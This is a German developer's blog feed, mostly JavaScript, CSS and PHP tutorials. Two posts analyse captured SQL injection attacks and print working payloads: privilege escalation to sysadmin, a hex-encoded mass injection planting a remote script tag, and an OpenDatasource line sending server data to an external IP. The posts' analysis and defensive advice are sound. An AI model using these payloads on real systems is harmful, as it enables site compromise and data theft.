knoxmic // Ronny Engelmann http://knoxmic.net Just another WordPress weblog Fri, 08 May 2009 12:22:53 +0000 http://wordpress.org/?v=2.7.1 en hourly 1 SQL-Injection, ‘ OR 1=1 ist für Anfänger! http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/ http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/#comments Fri, 08 May 2009 12:22:37 +0000 Ronny Engelmann http://knoxmic.net/?p=37 Neben dem im letzten Post erwähnten SQL-Befehl, der dafür zuständig ist den Inhalt aller Textfelder in einer Datenbank um bestimmten JavaScript-Code zu erweitern, konnte ich weitere interessante Vorgehensweisen beobachten:

  1. ‘;declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, ’sysadmin’–

Damit wird versucht den aktuellen Nutzer der Rolle “sysadmin” hinzuzufügen, damit soll wahrscheinlich die Grundlage für weitere Befehle geschaffen werden.

Die nachfolgende SQL-Injection ist aber mit Abstand die interessanteste. Hier wird eine Verbindung zu einem kompromitieren SQL-Server aufgebaut, dieser Server ist noch online und hostet den Online-Shop (6cang.com). Das Passwort habe ich hier verschleiert. Die Tabelle _t_basicinfo gehört auch nicht zum Standardrepertoire der master Tabelle vom MSSQL-Server. Das könnte man als sogenanntes Silent-SQL-Injection prägen, immerhin merkt der angegriffene erstmal nichts von der Attacke. Die Angreifer sammeln automatisiert (sqlmap) potenzielle Opfer und widmen sich diesen dann ausgiebiger. Sehr clever. Blöd natürlich das das Passwort in der Attacke auftaucht, verbreitet sich dieser Befehl im Internet, könnte der Admin leicht ins schwitzen geraten. Meine Kontaktversuche mit 6cang.com waren nicht erfolgreich.

  1. ;dEcLaRe @s vArChAr(8000) sEt @s=0×20496….d2d eXeC(@s) —

  1. INSERT INTO OpenDatasource(’sqloledb’,‘Data Source=222.35.142.45,1433;Network Library=DBMSSOCN;Initial Catalog=master;
  2. User ID=sa;Password=XXXXXXXXX;’).master.dbo._t_basicinfo
  3.  SELECT dB_nAME(),uSER,@@vERSION,@@sERVERnAME,@@sERVICEnAME,sYSTEM_uSER,gETDATE()–
  4.  
]]> http://knoxmic.net/sql-injection-or-11-ist-fur-anfanger/feed/ SQL-Injection, der Spass beginnt! http://knoxmic.net/sql-injection-der-spass-beginnt/ http://knoxmic.net/sql-injection-der-spass-beginnt/#comments Wed, 28 May 2008 11:34:23 +0000 Ronny Engelmann http://knoxmic.net/?p=32 Kann der Web-Entwickler abends ruhig einschlafen, oder gehen ihm diese oder ähnliche Zeilen durch den Kopf?

 

  • sql = "SELECT * FROM ShopWarenkorb WHERE id = ‘"& Request.QueryString("id") &"’"

 

Derzeit werden sehr viele Webseiten auf Sicherheitslücken durch SQL-Injection abgegrasst. Wer davon noch nichts gehört hat sollte Heise Security endlich in seinen RSS-Reader aufnehmen. Hier ein paar Artikel die das Problem verdeutlichen:

 

 

Aber wie funktioniert das? Wie kommt schädliches Javascript in die Datenbank? Ganz einfach, mittels SQL-Injection wird der SQL-Befehl der Anwendung abgeschlossen und der Angreifer fügt seinen eigenen SQL-Code hinzu. Das kann dann so aussehen:

 

  • http://www.xyz.com/?id=1′;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=
    CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E0077006F00770067006D0031002E0063006E002F006D002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200
    %20AS%20NVARCHAR(4000));EXEC(@S);–

 

In dem ersten Wert des CAST befindet sich der SQL-Befehl als Hexwert. Mittels SQL läßt sich ein String leicht in Binärwerte konvertieren, es gibt ja den Datentyp BINARY ;)

 

  • DECLARE @nvarchar NVARCHAR(4000)
  • SET @nvarchar = ‘SELECT’
  •  
  • DECLARE @BINARY BINARY(12)
  • SET @BINARY = CAST(@nvarchar AS BINARY)
  •  
  • SELECT @BINARY
  • SELECT CAST(@BINARY AS NVARCHAR(4000))

 

Konvertiert man den SQL-Code von oben wieder in NVARCHAR erhält man folgendes SQL:

 

  • DECLARE @T varchar(255), @C varchar(255)  
  • DECLARE Table_Cursor
  •  
  • CURSOR FOR
  • SELECT a.name,b.name
  • FROM sysobjects a,syscolumns b
  • WHERE
  • a.id=b.id
  • AND a.xtype=‘u’
  • AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
  •  
  • OPEN Table_Cursor
  • FETCH NEXT FROM  Table_Cursor
  • INTO @T,@C
  • WHILE(@@FETCH_STATUS=0)
  • BEGIN
  • exec(‘update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+’‘<script src=http://xyz/xyz.js></script>’”)
  • FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Dieses SQL macht nichts weiter als alle Tabellen (Nutzertabellen) der Datenbank ermitteln und in die Textspalten jeweils am Ende von Rechts den angegebenen String einfügen. Die Web-Anwendung nimmt die Inhalte aus der Datenbank und gibt diese auf einer Seite aus. Somit wird, Voraussetzung ist natürlich der angegebene Server ist noch online, das eingebundene Javascript ausgeführt. Der Code in dem eingebundenen Javascript versucht dann vermutlich per Buffer Overflow in verschiedenen Plugins der Browser eigenen Code auszuführen um damit gefährliche Programme nachzuladen / zu installieren (Trojaner etc.).

 

Was man dagegen tun kann ist eigentlich ganz einfach. Alle Eingabewerte der Nutzer richtig prüfen und sämtliche SQL-Befehle parametrisiert an die Datenbank geben. Bitte nicht in einer Stored Procedure wiederum mit dem Parameter einen SQL-Befehl zusammenbauen und anschließend per EXEC ausführen ;)

 

Mithilfe dieser SQL-Befehle läßt sich die Datenbank nach womöglich schädlichen Code durchsuchen:

 

  • DECLARE @searchValue varchar(255)
  • SET @searchValue = ’script’
  •  
  • SET NOCOUNT ON
  •  
  • DECLARE @TempTable TABLE (table_name varchar(255),column_name varchar(255))
  • CREATE TABLE #TempTableContent (table_name varchar(255),column_name varchar(255), value text)
  •  
  • INSERT INTO @TempTable
  • SELECT ic.table_schema + ‘.’ + dbo.sysobjects.name AS Tabellenname, dbo.syscolumns.name AS Spaltenname
  • FROM dbo.syscolumns
  • INNER JOIN dbo.sysobjects ON dbo.syscolumns.id = dbo.sysobjects.id
  • INNER JOIN dbo.systypes ON dbo.syscolumns.xtype = dbo.systypes.xtype
  • INNER JOIN information_schema.COLUMNS ic ON ic.table_name = dbo.sysobjects.name AND ic.column_name = dbo.syscolumns.name
  • WHERE (dbo.sysobjects.xtype = ‘U’) AND dbo.systypes.name IN (‘varchar’, ‘nvarchar’, ‘text’, ‘char’, ‘ntext’)
  •  
  • DECLARE @SQLString varchar(500);
  • DECLARE @table_name varchar(255), @column_name varchar(255)
  •  
  • DECLARE DATA CURSOR LOCAL FAST_FORWARD FOR
  • SELECT table_name, column_name FROM @TempTable
  •  
  • OPEN DATA
  •  
  • FETCH NEXT FROM DATA
  • INTO @table_name, @column_name
  •  
  • WHILE @@FETCH_STATUS = 0
  • BEGIN
  •         SET @SQLString = N’select ‘”+ @table_name +”‘ AS table_name, ‘” + @column_name +”‘ AS column_name, [' + @column_name +'] AS value ‘ + ‘ FROM ‘ + @table_name + ‘ where [' + @column_name + '] LIKE ‘‘%’+@searchValue+‘%’”;
  •  
  •         INSERT INTO #TempTableContent
  •         EXEC(@SQLString)
  •  
  •         FETCH NEXT FROM DATA
  •         INTO @table_name, @column_name
  •  
  • END
  • SELECT * FROM #TempTableContent
  • DROP TABLE #TempTableContent
]]> http://knoxmic.net/sql-injection-der-spass-beginnt/feed/ Tooltip with JavaScript http://knoxmic.net/tooltip-with-javascript/ http://knoxmic.net/tooltip-with-javascript/#comments Fri, 27 Oct 2006 16:20:24 +0000 Ronny Engelmann http://knoxmic.net/tooltip-with-javascript/ Mit dem folgenden kleinen Skript lassen sich unterschiedliche Tooltips mittels JavaScript realisieren.

Die JavaScript-Funktionen zur Erzeugung der Tooltips werden über eine ausgelagerte JavaScript-Datei eingebunden.

  1. // tt = tooltip
  2. // global variables
  3. var intOffset_X_Pointer = 20;
  4. var intOffset_Y_Pointer = 20;
  5.  
  6. // elements for tooltip
  7. var aryToolTipElements = Array(‘a’,’span’);
  8.  
  9. // browser?
  10. var blnIE = document.all;
  11. var blnNS = document.getElementById && !document.all;
  12.  
  13. // tt-container
  14. document.write(‘<div id="my_tt"></div><br />’);
  15.  
  16. var show_tt = false;
  17. var obj_tt = document.getElementById("my_tt");
  18.  
  19. // get tt-elements
  20. function generateToolTips() {
  21.   for (var x = 0; x != aryToolTipElements.length; x++) {
  22.     var objElement = document.getElementsByTagName(aryToolTipElements[x]);
  23.     if (objElement) {
  24.       for (var y = 0; y != objElement.length; y++) {
  25.         if (objElement[y].className == "tt") {
  26.           objElement[y].setAttribute("tt_content", objElement[y].title);
  27.           objElement[y].removeAttribute("title");
  28.           objElement[y].onmouseover = function() {
  29.             enable_tt(this.getAttribute("tt_content"),true);
  30.           };
  31.           objElement[y].onmouseout = function() { hide_tt(false); };
  32.         }
  33.       }
  34.     }
  35.   }
  36. }
  37.  
  38. function enable_tt(tt_content, blnShow_tt) {
  39.   show_tt = blnShow_tt;
  40.   obj_tt.innerHTML = tt_content;
  41. }
  42.  
  43. function hide_tt(blnShow_tt) {
  44.   show_tt = blnShow_tt;
  45.   obj_tt.style.width = ”;
  46.   obj_tt.style.left = "-5000px";
  47.   obj_tt.style.visibility = "hidden";
  48. }
  49.  
  50. function tt_position(objThis) {
  51.   if (show_tt) {
  52.     // get ViewPortheight
  53.     var intcH = document.documentElement.clientHeight;
  54.     // differentiated values for IE and NS
  55.     if (blnIE) {
  56.       intcX = event.clientX; intcY = event.clientY + document.documentElement.scrollTop;
  57.       intsLeft = document.documentElement.scrollLeft;
  58.       var intBottom = intcH - event.clientY - 20;
  59.     } else {
  60.       intcX = objThis.clientX; intcY = objThis.pageY;
  61.       var intBottom = intcH - objThis.clientY - 20;
  62.       intsLeft = 0;
  63.     }
  64.     // set tt-pos
  65.     obj_tt.style.left = intcX - intOffset_X_Pointer + "px";
  66.     if (intBottom < obj_tt.offsetHeight) {
  67.       obj_tt.style.top = intcY - obj_tt.offsetHeight - 10 + "px";
  68.     } else {
  69.       obj_tt.style.top = intcY + intOffset_Y_Pointer + "px";
  70.     }
  71.     obj_tt.style.visibility = "visible";
  72.   }
  73. }

Im Kopfbereich der HTML-Seite sind nur wenige Änderungen notwendig. Das ausgelagerte JavaScript (tooltip.js) sowie zwei Anweisungen zur initialisieren müssen eingebunden werden.

  1. <script type="text/javascript" src="tooltip.js"></script>

  1. window.onload = function() {
  2.   generateToolTips();
  3.   document.onmousemove = tt_position;
  4. }

Nun können unterschiedliche Element mit einen Tooltip versehen werden. Dafür muss dem Element die CSS-Klasse “tt” zugeordnet, sowie der Inhalt des Tooltips in das Attribut “title” geschrieben werden.

  1. <a href="http://www.knoxmic.net" class="tt"
  2.   title="<p>get this tooltip script now</p>">tooltip #1</a>

Das vorgestellte Beispiel kann wieder im Browser betrachtet oder heruntergeladen werden.

]]> http://knoxmic.net/tooltip-with-javascript/feed/ Fun with Google Code Search http://knoxmic.net/fun-with-google-code-search/ http://knoxmic.net/fun-with-google-code-search/#comments Fri, 06 Oct 2006 13:53:06 +0000 Ronny Engelmann http://knoxmic.net/fun-with-google-code-search/

Vor wenigen Tagen hat Google ein neues Tool freigegeben. Was man in Quelltext so alles entdecken kann: http://www.google.com/codesearch?q=d’oh

Ebenso: http://www.google.com/codesearch?q=easteregg

]]> http://knoxmic.net/fun-with-google-code-search/feed/ CSS hacks 2 go http://knoxmic.net/css-hacks-2-go/ http://knoxmic.net/css-hacks-2-go/#comments Thu, 05 Oct 2006 15:00:00 +0000 Ronny Engelmann http://knoxmic.net/css-hacks-2-go/ Damit eine Website in unterschiedlichen Browsern richtig dargestellt werden kann, bedarf es nicht selten ein paar Tricks. Die folgenden selbst eingesetzten CSS-Snippets sollen eine eigene kleine Sammlung dieser Tricks darstellen:

So läßt sich zum Beispiel ein Bug bei der Implementierung einer CSS-Anweisung (voice-family) im Business Browser IE 4/5 zum verbergen von CSS-Anweisungen ausnutzen.

  1. span {
  2.   font-size:x-small;
  3.   voice-family:"\"}\"";
  4.   voice-family:inherit;
  5.   font-size:small;
  6. }

Um den IE 4/5/6 ganz vor der Tür stehen zu lassen, genügt der Gebrauch eines Kindselektors:

  1. html>body p { margin:0; }

Alle in dem Container, erste und letzte Zeile im Codebeispiel, enthaltenen Anweisungen sind für den Netscape 4 unsichtbar.

  1. /*/*/a{}
  2. body {
  3.   margin:0;
  4. }
  5. /* */

Seit nicht allzu langer Zeit, tendiere ich allerdings dazu, CSS-Anweisungen die ich für den IE korrigieren muss, über Conditional Comments darzustellen. Genau das würde ich auch allen Besuchern empfehlen, mit der weiteren Verbreitung des IE 7 sollten auch einige css hacks der Vergangenheit angehören.

  1. <!–[if IE]>
  2.   <style type="text/css" media="screen">
  3.     p {
  4.       padding:0;
  5.       margin:0;
  6.     }
  7.   </style>     
  8. <! [endif]–>
]]> http://knoxmic.net/css-hacks-2-go/feed/ Scrolling with JavaScript http://knoxmic.net/scrolling-with-javascript/ http://knoxmic.net/scrolling-with-javascript/#comments Sun, 24 Sep 2006 14:44:08 +0000 Ronny Engelmann http://knoxmic.net/test/ Möchte man auf seiner Website auf einer kleinen Fläche viele Informationen unterbringen, so führt selten ein Weg an einer kleineren Schriftart oder unschönen Scrollbalken vorbei.
Der hier vorgestellte Code soll eine Alternative dazu darstellen. Der Inhalt wird in ein div gepackt und läßt sich mittels JavaScript zum scrollen bewegen.

Als erstes sollte die notwendige JavaScript-Klasse für das Scrolling eingebunden werden.

  1. function scroll(objElement, intHeight) {
  2.   var self = this;
  3.   this._y = 0;
  4.   objElement.style.top  = "0px";
  5.  
  6.   this.setPosition = function(intPos, y) {
  7.     if (intPos > 0) intPos = 0;
  8.     if (intPos < intHeight - objElement.offsetHeight)
  9.       intPos = intHeight - objElement.offsetHeight;
  10.     this._y = intPos;
  11.     objElement.style.top  = this._y +"px";
  12.   };
  13.  
  14.   this.scrollY = function(y) { this.setPosition(this._y + y, y); };
  15.  
  16.   this.start = function(y) {
  17.     this.scrollTimer = window.setInterval(
  18.       function() { self.scrollY(y); }, 25 );
  19.   };
  20.   this.stop = function() {
  21.     if (this.scrollTimer) window.clearInterval(this.scrollTimer); };
  22. };

Danach ist es notwendig das Objekt, welches den zu scrollenden Inhalt enthält der Klasse “scroll” zu übergeben und damit ein neues Objekt zu erstellen.

  1. var srollObject = null;
  2.  
  3. function initPage() {
  4.   var objElement = document.getElementById(‘content’);
  5.   srollObject = new scroll(objElement, 150);
  6. }
  7.  

Dieser Vorgang wird natürlich erst nach erfolgten Laden der Seite ausgeführt.

  1. <body onload="initPage();">

Über diese zwei Elemente läßt sich das scrollen beeinflussen.

  1. <a href="#" onmouseover="srollObject.start(-4);"
  2.   onmouseout="srollObject.stop();">&or;</a>
  3. <a href="#" onmouseover="srollObject.start(4);"
  4.   onmouseout="srollObject.stop();">&and;</a>

Das vorgestellte Beispiel kann im Browser betrachtet oder heruntergeladen werden.

Update! Über das Skript scroll_xy.js (zip) ist auch ein Scrolling entlang der X- bzw. Y-Achse möglich.

]]> http://knoxmic.net/scrolling-with-javascript/feed/ Paging your content dynamicly http://knoxmic.net/paging-function-in-php/ http://knoxmic.net/paging-function-in-php/#comments Thu, 04 May 2006 21:43:44 +0000 Ronny Engelmann http://knoxmic.net/paging-function-in-php/ /* GeSHi (c) Nigel McNie 2004 (http://qbnz.com/highlighter) */ .php .de1, .php .de2 {color: #000060; font-weight: normal;} .php {white-space: nowrap;border: 1px dotted #a0a0a0; font-family: 'Courier New', Courier, monospace; font-size: 110%; background-color: #f9f9f9; margin: 0; line-height: 110%; padding: 0;color: #000099;} .php a:link {color: #006;} .php a:hover {background-color: #d6d6e6;} .php .head {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: #f0f0ff; border-bottom: 1px solid #d0d0d0; padding: 2px;} .php .foot {font-family: Verdana, Arial, sans-serif; color: #808080; font-size: 70%; font-weight: bold; background-color: #f0f0ff; border-top: 1px solid #d0d0d0; padding: 2px;} .php .imp {font-weight: bold; color: red;} .php li {list-style:none;font-family: 'Courier New', Courier, monospace; color: #000060; background-color: #f9f9f9; padding-bottom: 2px;} .php .kw1 {color: #b1b100;} .php .kw2 {color: #000000; font-weight: bold;} .php .kw3 {color: #000066;} .php .co1 {color: #808080; font-style: italic;} .php .co2 {color: #808080; font-style: italic;} .php .coMULTI {color: #808080; font-style: italic;} .php .es0 {color: #000099; font-weight: bold;font-weight: normal;} .php .br0 {color: #66cc66;} .php .st0 {color: #ff0000;} .php .nu0 {color: #cc66cc;} .php .me1 {color: #006600;} .php .me2 {color: #006600;} .php .me {1} .php .re0 {color: #0000ff;}

Do you need a function for paging your content? Feel free to use this php code for your application.
If you know any tips to improve let me know.

  1. function paging($m, $u, $p) {
  2.   if ($m > 1) {
  3.     if ($p == "") $p = 1;
  4.     for ($i=$p-$u; $i<=$p+$u; $i++) {
  5.       if ($i == $p-$u) {
  6.         if ($p == 1) $strResult .= ‘1 ‘;
  7.         else $strResult .= ‘<a href="?p=1" class="p">1</a> ‘;
  8.         if ($p-$u > 2) $strResult .= ‘… ‘;
  9.       }
  10.       if ($i < $m && $i != 1 && $i > 0) {
  11.         if ($i == $p) $strResult .= $i.‘ ‘;
  12.         else $strResult .= ‘<a href="?p=’.$i.‘" class="p">’.$i.‘</a> ‘;
  13.       }
  14.       if ($i == $p+$u) {
  15.         if ($i < $m-1) $strResult .= ‘ … ‘;
  16.         if ($p == $m) $strResult .= $m.‘ ‘;
  17.         else $strResult .= ‘<a href="?p=’.$m.‘" class="p">’.$m.‘</a>’;
  18.       }
  19.     }
  20.   }
  21.   return $strResult;
  22. }

 

Download the code here.

 

Example:

]]> http://knoxmic.net/paging-function-in-php/feed/ Multilingual Plugin for WordPress http://knoxmic.net/multilingual-plugin-for-wordpress/ http://knoxmic.net/multilingual-plugin-for-wordpress/#comments Sun, 30 Apr 2006 16:44:39 +0000 Ronny Engelmann http://knoxmic.net/multilingual-plugin-for-wordpress/ My last two posts already indicate, that I try to display my page in two languages: german and english. The current solution to display all the content in two languages is not satisfactory at all. It is planned to remedy this deficiencies soon and to display the particular language of every visitor. This will be implemented with the help of an wordpress-plugin. In regard to that I found this plugin Polyglot. But maybe there is a better one available?

 

 

Wie an den letzten beiden Posts unschwer zu erkennen ist versuche ich Teile der Webseite mittlerweile Zweisprachig zu erstellen. Die aktuelle Lösung die den Inhalt einfach in beiden Sprachen anzeigt ist natürlich alles andere als zufriedenstellend. In naher Zukunft ist geplant diesen Umstand zu beseitigen und den Inhalt über ein Wordpress-Plugin in der jeweiligen Sprache des Besuchers anzuzeigen. Diesbezüglich ist mir das Plugin Polyglot aufgefallen. Aber gibt es vielleicht noch ein anderes “bessers” Plugin?

]]> http://knoxmic.net/multilingual-plugin-for-wordpress/feed/ CSS Reboot Spring 2006 http://knoxmic.net/css-reboot-spring-2006/ http://knoxmic.net/css-reboot-spring-2006/#comments Sat, 29 Apr 2006 21:21:11 +0000 Ronny Engelmann http://knoxmic.net/css-reboot-spring-2006/ Now I am already taking part in css reboot for the second time. The new design got uploaded on april 29th. I know that the official date for reboot is May 1st but I could not wait and I prefer to use this public holiday to prepair myself for my final verification.

 

It’s been changed a lot! This time I tried to fill out the whole monitor of my visitors, I think I did a good job with a screen resolution of 1024×786 pixel. The “bookmarks” area has been upgraded with a “news” part. During the next weeks, or months, I am trying my best to integrate all rss-feeds I´m reading daily. The former flickr-photostream as a simple display got changed into an own page, FAlbum was a great help doing that. Unfortunately there are still some tiny mistakes, such as the menu bar that does not adjust correctly in different browsers. In “myphotos” area there is also a lot of work to do. I will finish debugging, when there is more time.

 

There are also two further new designtemplates that are worth to take a look at: zinra.de and bigr-solutions.net

 

 

Mittlerweile zum zweiten Mal nehme ich am CSS Reboot teil. Das neue Design ist seit heute dem 29. April online, zwar ist der offizielle Termin für den Reboot zwei Tage später, eigentlich am 1. Mai, ich nutze diesen freien Tag aber vorzugsweise zur Vorbereitung für meine Abschlussprüfung.

 

Viel hat sich geändert! Diesmal habe ich versucht den Monitor des Betrachters ganz auszufüllen, das ist mir bei einer Auflösung von 1024×768 Pixel wie ich finde auch ganz gut gelungen. Der Bereich “bookmarks” wurde um einen neuen “news” Teil erweitert. In den nächsten Tagen, wohl eher Wochen, versuche ich dort alle RSS-Feeds die ich täglich lese unterzubringen. Aus der bisherigen einfachen Anzeige meines Flickr-Photostreams habe ich dank FAlbum eine eigene Seite geschaffen. Leider sind bei diesem Theme noch kleine Fehler versteckt, zum Beispiel richtet sich die Navigationsleiste auf den unterschiedlichen Browsern noch nicht so aus wie es sein soll. Im Bereich “my photo” gibt es ebenso noch viel zu tun. Sobald wieder etwas Zeit ist, versuche ich diese Fehler zu beseitigen.

 

Neben diesen Design sind auch die neuen Templates für zinra.de und bigr-solutions.net online.

]]> http://knoxmic.net/css-reboot-spring-2006/feed/ UNIX-Stammtisch in Sachsen: Vortrag zu AJAX http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/ http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/#comments Tue, 25 Apr 2006 17:42:28 +0000 Ronny Engelmann http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/ Old technique in a new design. AJAX supports to be more active in web. On April 25th Christian Aurich and I lectured on UNIX-Crackerbarrel in Saxony on implementation of AJAX. The Subject of “web2.0” also came up, but was looked at more critically.

 

 

Alte Technik neu verpackt. AJAX hilft Anwendungen im Web interaktiver zu werden. Am 25. April 2006 haben Christian Aurich und ich am UNIX Stammtisch in Sachsen einen Vortrag zur Implementierung von AJAX gehalten. Auch das sogenannte “Web 2.0” ist ein Teil des Vortrages gewesen, dessen Betrachtung jedoch sehr kritisch ausgefallen ist.

Die Folien zum Vortrag können hier heruntergeladen werden, auch die gezeigten Beispiele stehen zum download.

 

Update: Aktueller Podcast auf Chaosradio Web 2.0 - Verheißungen und Realität des neuen Webs

]]> http://knoxmic.net/unix-stammtisch-in-sachsen-vortrag-zu-ajax/feed/